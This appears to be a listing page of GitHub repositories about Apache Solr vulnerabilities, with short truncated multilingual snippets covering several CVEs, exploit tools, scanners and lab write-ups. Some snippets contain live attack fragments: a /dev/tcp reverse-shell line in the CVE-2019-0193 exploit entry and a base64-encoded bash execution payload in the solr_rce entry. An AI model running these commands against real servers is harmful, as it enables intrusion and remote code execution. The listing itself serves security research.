CVE-2020-13941

CVE-2020-13941: Использование UNC-путей в средах Windows в Apache Solr Было обнаружено, что несколько конечных точек Solr принимают абсолютные пути. В системах Windows эти абсолютные пути можно принудительно использовать, чтобы заставить ОС подключиться к подконтрольному атакующему SMB-серверу...

CVE-2019-0193-exp

CVE-2019-0193-exp 1 &/dev/tcp/127.0.0.1/9999 0&1"; var result = ; whiletrue var oneline = bufReader.readLine; result.push oneline ; if!oneline break; row.put"title",result.join"\n\r"; return row; 2.jdbc: &/dev/tcp/127.0.0.1/9999 0&1"; entity name="a" url="https://stackoverflow.com/feeds/tag/solr"...

Solr-GRAB

Solr-GRAB Volez les requêtes des instances Apache Solr avec ou sans nom d'utilisateur et mot de passe. AVERTISSEMENT : Ce projet doit être utilisé uniquement à des fins de test autorisé et d'éducation. Téléchargement git clone https://github.com/GnosticPlayers/Solr-GRAB Utilisation Vous pouvez...

CVE-2019-12401

CVE-2019-12401 : Bombe XML dans Apache Solr Les versions de Solr antérieures à 5.0.0 sont vulnérables à une attaque par consommation de ressources XML également connue sous le nom de Lol Bomb via son gestionnaire de mise à jour. En exploitant les éléments de type DOCTYPE et ENTITY du XML,...

ApacheSolrRCE

Déclaration du projet À utiliser uniquement pour l'enseignement et l'échange en sécurité de l'information, ne pas l'utiliser pour des tests ou des attaques illégaux. ApacheSolrRCE ApacheSolrRCE CVE-2019-0193 écrit un shell en un clic, le principe est d'écrire un cheval web shell via un flux de...

CVE-2021-44228

Vulnérabilité Log4j - CVE-2021-44228 📗 Introduction Cette vulnérabilité a été découverte le 9 décembre 2021, identifiée sous le nom CVE-2021-44228 , elle affecte le package de log Java, générant un score de sévérité CVSS de 10 points , permettant une exécution à distance sur l'hôte. Cette...

CVE-2026-44825-Apache-Solr-Scanner

Scanneur Apache Solr CVE-2026-44825 Ce dépôt contient un scanner basé sur Go pour détecter et tester les instances Apache Solr pouvant être affectées par CVE-2026-44825, lié à des conditions d'exécution de code à distance RCE via Velocity Template. L'outil peut scanner une cible unique ou une lis...

Apache-Solr-RCE_CVE-2023-50386_POC

Apache-Solr-RCECVE-2023-50386POC Poc RCE pour les API Backup/Restore d'Apache Solr CVE-2023-50386 Références hommage aux grands maîtres : Blog de l'auteur de la vulnérabilité CVE-2023-50386 Techniques de contournement du Java Security Manager Contournement de la protection de réflexion sous JDK 1...

Solr-SSRF

Solr-SSRF CVE-2021-27905 В пакете repeat файла Burp содержатся конкретные шаги по воспроизведению POC — это плагин обнаружения Xray...

CVE-2021-27905

CVE-2021-27905 Apache Solr ReplicationHandler - Contrefaçon de requête côté serveur SSRF Hit Counter Apache Solr acronyme de Searching On Lucene with Replication est un moteur de recherche gratuit et open source basé sur la bibliothèque Apache Lucene. Écrit en Java. Apache Solr dispose d'API...

CVE-2019-0192

CVE-2019-0192 - Apache Solr RCE 5.0.0 à 5.5.5 et 6.0.0 à 6.6.5 Ceci est un PoC précoce de la RCE Apache Solr Extrait de https://issues.apache.org/jira/browse/SOLR-13301: ConfigAPI permet de configurer le serveur JMX de Solr via une requête HTTP POST. En le pointant vers un serveur RMI malveillant...

apache-solr-log4j-CVE-2021-44228

Ce depot n’a pas de fichier README...

cve-2017-12629

LISEZ-MOI Une exécution de code à distance se produit dans Apache Solr avant la version 7.1 avec Apache Lucene avant la version 7.1 en exploitant XXE en conjonction avec l'utilisation d'une commande add-listener de l'API Config pour atteindre la classe RunExecutableListener. Elasticsearch, bien...

CVE-2019-12409

CVE-2019-12409 RCE dans Apache Solr ENABLEREMOTEJMXOPTS="true" root@kali:/opt/solr-8.1.1/bin cat solr.in.sh |grep true Définir à true pour activer le connecteur JMX RMI afin de permettre aux applications clientes JMX distantes ENABLEREMOTEJMXOPTS="true" SOLROPTS="$SOLROPTS...

cve-2019-17558-apache-solr-rce

Apache Solr RCE CVE-2019-17558 - CTF Write-up Практическая эксплуатация уязвимости Velocity Template Injection в Apache Solr: переход от сбоя автоматизированного инструмента Metasploit к успешной ручной эксплуатации. Этот write-up документирует полный ход рассуждений в ходе упражнения, с акцентом...

CVE-2020-13957

Apache Solr RCE CVE-2020-13957 Демо в Docker Демо на Mac Описание NVD CVE-2020-13957 NVD CVE-2020-13957 Apache Solr versions 6.6.0 to 6.6.6, 7.0.0 to 7.7.3 and 8.0.0 to 8.6.2 prevents some features considered dangerous which could be used for remote code execution to be configured in a ConfigSet...

solr_rce

Apache Solr RCE через Velocity-шаблон использование python: python solrrce.py http://x.x.x.x:8983 command закодированный payload для getshell http://www.jackson-t.ca/runtime-exec-payloads.html whoami bash -c echo,d2hvYW1p|base64,-d|bash,-i 0x01 Кратко о Solr Solr — это открытая корпоративная...

homelab-CVE-2021-44228

Homelab : Log4Shell CVE-2021-44228 dans Apache Solr Environnement contrôlé dans Docker pour reproduire et étudier la vulnérabilité Log4Shell dans Apache Solr. L'Environnement Cible solr-lab : Apache Solr v8.11.0 vulhub/solr:8.11.0 exécutant une version vulnérable de Log4j. Attaquant kali-lab :...

Apache Solr - Host Environment Variables Leak via Metrics API

Exposure of Sensitive Information to an Unauthorized Actor Vulnerability in Apache Solr. The Solr Metrics API publishes all unprotected environment variables available to each Apache Solr instance. Users can specify which environment variables to hide, however, the default list is designed to wor...

Apache-Solr-RCE-via-Velocity-template

Apache-Solr-RCE-via-Velocity-template Ссылка Причина возникновения уязвимости: 1. Когда атакующий имеет прямой доступ к консоли Solr, он может изменить файл конфигурации этого узла, отправив POST-запрос вида /节点名/config. 2. Apache Solr по умолчанию включает плагин VelocityResponseWriter. В...